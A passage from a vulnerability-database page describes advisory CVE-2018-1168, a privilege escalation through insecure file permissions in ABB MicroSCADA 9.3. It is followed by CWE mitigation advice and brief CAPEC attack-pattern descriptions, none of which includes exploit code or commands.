"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-FCM3-CC23-MG3G
Vulnerability from github – Published: 2022-05-13 01:33 – Updated: 2022-05-13 01:33This vulnerability allows local attackers to escalate privileges on vulnerable installations of ABB MicroSCADA 9.3 with FP 1-2-3. An attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability. The specific flaw exists within the configuration of the access controls for the installed product files. The installation procedure leaves critical files open to manipulation by any authenticated user. An attacker can leverage this vulnerability to escalate privileges to SYSTEM. Was ZDI-CAN-5097.
{
"affected": [],
"aliases": [
"CVE-2018-1168"
],
"database_specific": {
"cwe_ids": [
"CWE-284",
"CWE-732"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-02-21T14:29:00Z",
"severity": "HIGH"
},
"details": "This vulnerability allows local attackers to escalate privileges on vulnerable installations of ABB MicroSCADA 9.3 with FP 1-2-3. An attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability. The specific flaw exists within the configuration of the access controls for the installed product files. The installation procedure leaves critical files open to manipulation by any authenticated user. An attacker can leverage this vulnerability to escalate privileges to SYSTEM. Was ZDI-CAN-5097.",
"id": "GHSA-fcm3-cc23-mg3g",
"modified": "2022-05-13T01:33:27Z",
"published": "2022-05-13T01:33:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-1168"
},
{
"type": "WEB",
"url": "https://library.e.abb.com/public/7a88a74b12bb492ea138b1f2365d00f6/ABBVU-PGGA-33888_ABB_SoftwareVulnerabilityHandlingAdvisory_Rev_A.pdf?x-sign=MJfu9cHtRUUubpLAYzyWFTmW5W+mg3kZ/nm7F/Jw5HlFTQf4eNyfLAgE8HozRJEC"
},
{
"type": "WEB",
"url": "https://zerodayinitiative.com/advisories/ZDI-18-141"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
Mitigation
When using a critical resource such as a configuration file, check to see if the resource has insecure permissions (such as being modifiable by any regular user) [REF-62], and generate an error or even exit the software if there is a possibility that the resource could have been modified by an unauthorized party.
Mitigation
Divide the software into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully defining distinct user groups, privileges, and/or roles. Map these against data, functionality, and the related resources. Then set the permissions accordingly. This will allow you to maintain more fine-grained control over your resources. [REF-207]
Mitigation MIT-22
Strategy: Sandbox or Jail
- Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.
- OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation
During program startup, explicitly set the default permissions or umask to the most restrictive setting possible. Also set the appropriate permissions during program installation. This will prevent you from inheriting insecure permissions from any user who installs or runs the program.
Mitigation
For all configuration files, executables, and libraries, make sure that they are only readable and writable by the software's administrator.
Mitigation
Do not suggest insecure configuration changes in documentation, especially if those configurations can extend to resources and other programs that are outside the scope of the application.
Mitigation
Do not assume that a system administrator will manually change the configuration to the settings that are recommended in the software's manual.
Mitigation MIT-37
Strategy: Environment Hardening
Ensure that the software runs properly under the United States Government Configuration Baseline (USGCB) [REF-199] or an equivalent hardening configuration guide, which many organizations use to limit the attack surface and potential risk of deployed software.
Mitigation
When storing data in the cloud (e.g., S3 buckets, Azure blobs, Google Cloud Storage, etc.), use the provider's controls to disable public access.
CAPEC-1: Accessing Functionality Not Properly Constrained by ACLs
In applications, particularly web applications, access to functionality is mitigated by an authorization framework. This framework maps Access Control Lists (ACLs) to elements of the application's functionality; particularly URL's for web apps. In the case that the administrator failed to specify an ACL for a particular element, an attacker may be able to access it with impunity. An attacker with the ability to access functionality not properly constrained by ACLs can obtain sensitive information and possibly compromise the entire application. Such an attacker can access resources that must be available only to users at a higher privilege level, can access management sections of the application, or can run queries for data that they otherwise not supposed to.
CAPEC-122: Privilege Abuse
An adversary is able to exploit features of the target that should be reserved for privileged users or administrators but are exposed to use by lower or non-privileged accounts. Access to sensitive information and functionality must be controlled to ensure that only authorized users are able to access these resources.
CAPEC-127: Directory Indexing
An adversary crafts a request to a target that results in the target listing/indexing the content of a directory as output. One common method of triggering directory contents as output is to construct a request containing a path that terminates in a directory name rather than a file name since many applications are configured to provide a list of the directory's contents when such a request is received. An adversary can use this to explore the directory tree on a target as well as learn the names of files. This can often end up revealing test files, backup files, temporary files, hidden files, configuration files, user accounts, script contents, as well as naming conventions, all of which can be used by an attacker to mount additional attacks.
CAPEC-17: Using Malicious Files
An attack of this type exploits a system's configuration that allows an adversary to either directly access an executable file, for example through shell access; or in a possible worst case allows an adversary to upload a file and then execute it. Web servers, ftp servers, and message oriented middleware systems which have many integration points are particularly vulnerable, because both the programmers and the administrators must be in synch regarding the interfaces and the correct privileges for each interface.
CAPEC-180: Exploiting Incorrectly Configured Access Control Security Levels
An attacker exploits a weakness in the configuration of access controls and is able to bypass the intended protection that these measures guard against and thereby obtain unauthorized access to the system or network. Sensitive functionality should always be protected with access controls. However configuring all but the most trivial access control systems can be very complicated and there are many opportunities for mistakes. If an attacker can learn of incorrectly configured access security settings, they may be able to exploit this in an attack.
CAPEC-206: Signing Malicious Code
The adversary extracts credentials used for code signing from a production environment and then uses these credentials to sign malicious content with the developer's key. Many developers use signing keys to sign code or hashes of code. When users or applications verify the signatures are accurate they are led to believe that the code came from the owner of the signing key and that the code has not been modified since the signature was applied. If the adversary has extracted the signing credentials then they can use those credentials to sign their own code bundles. Users or tools that verify the signatures attached to the code will likely assume the code came from the legitimate developer and install or run the code, effectively allowing the adversary to execute arbitrary code on the victim's computer. This differs from CAPEC-673, because the adversary is performing the code signing.
CAPEC-234: Hijacking a privileged process
An adversary gains control of a process that is assigned elevated privileges in order to execute arbitrary code with those privileges. Some processes are assigned elevated privileges on an operating system, usually through association with a particular user, group, or role. If an attacker can hijack this process, they will be able to assume its level of privilege in order to execute their own code.
CAPEC-60: Reusing Session IDs (aka Session Replay)
This attack targets the reuse of valid session ID to spoof the target system in order to gain privileges. The attacker tries to reuse a stolen session ID used previously during a transaction to perform spoofing and session hijacking. Another name for this type of attack is Session Replay.
CAPEC-61: Session Fixation
The attacker induces a client to establish a session with the target software using a session identifier provided by the attacker. Once the user successfully authenticates to the target software, the attacker uses the (now privileged) session identifier in their own transactions. This attack leverages the fact that the target software either relies on client-generated session identifiers or maintains the same session identifiers after privilege elevation.
CAPEC-62: Cross Site Request Forgery
An attacker crafts malicious web links and distributes them (via web pages, email, etc.), typically in a targeted manner, hoping to induce users to click on the link and execute the malicious action against some third-party application. If successful, the action embedded in the malicious link will be processed and accepted by the targeted application with the users' privilege level. This type of attack leverages the persistence and implicit trust placed in user session cookies by many web applications today. In such an architecture, once the user authenticates to an application and a session cookie is created on the user's system, all following transactions for that session are authenticated using that cookie including potential actions initiated by an attacker and simply "riding" the existing session cookie.
CAPEC-642: Replace Binaries
Adversaries know that certain binaries will be regularly executed as part of normal processing. If these binaries are not protected with the appropriate file system permissions, it could be possible to replace them with malware. This malware might be executed at higher system permission levels. A variation of this pattern is to discover self-extracting installation packages that unpack binaries to directories with weak file permissions which it does not clean up appropriately. These binaries can be replaced by malware, which can then be executed.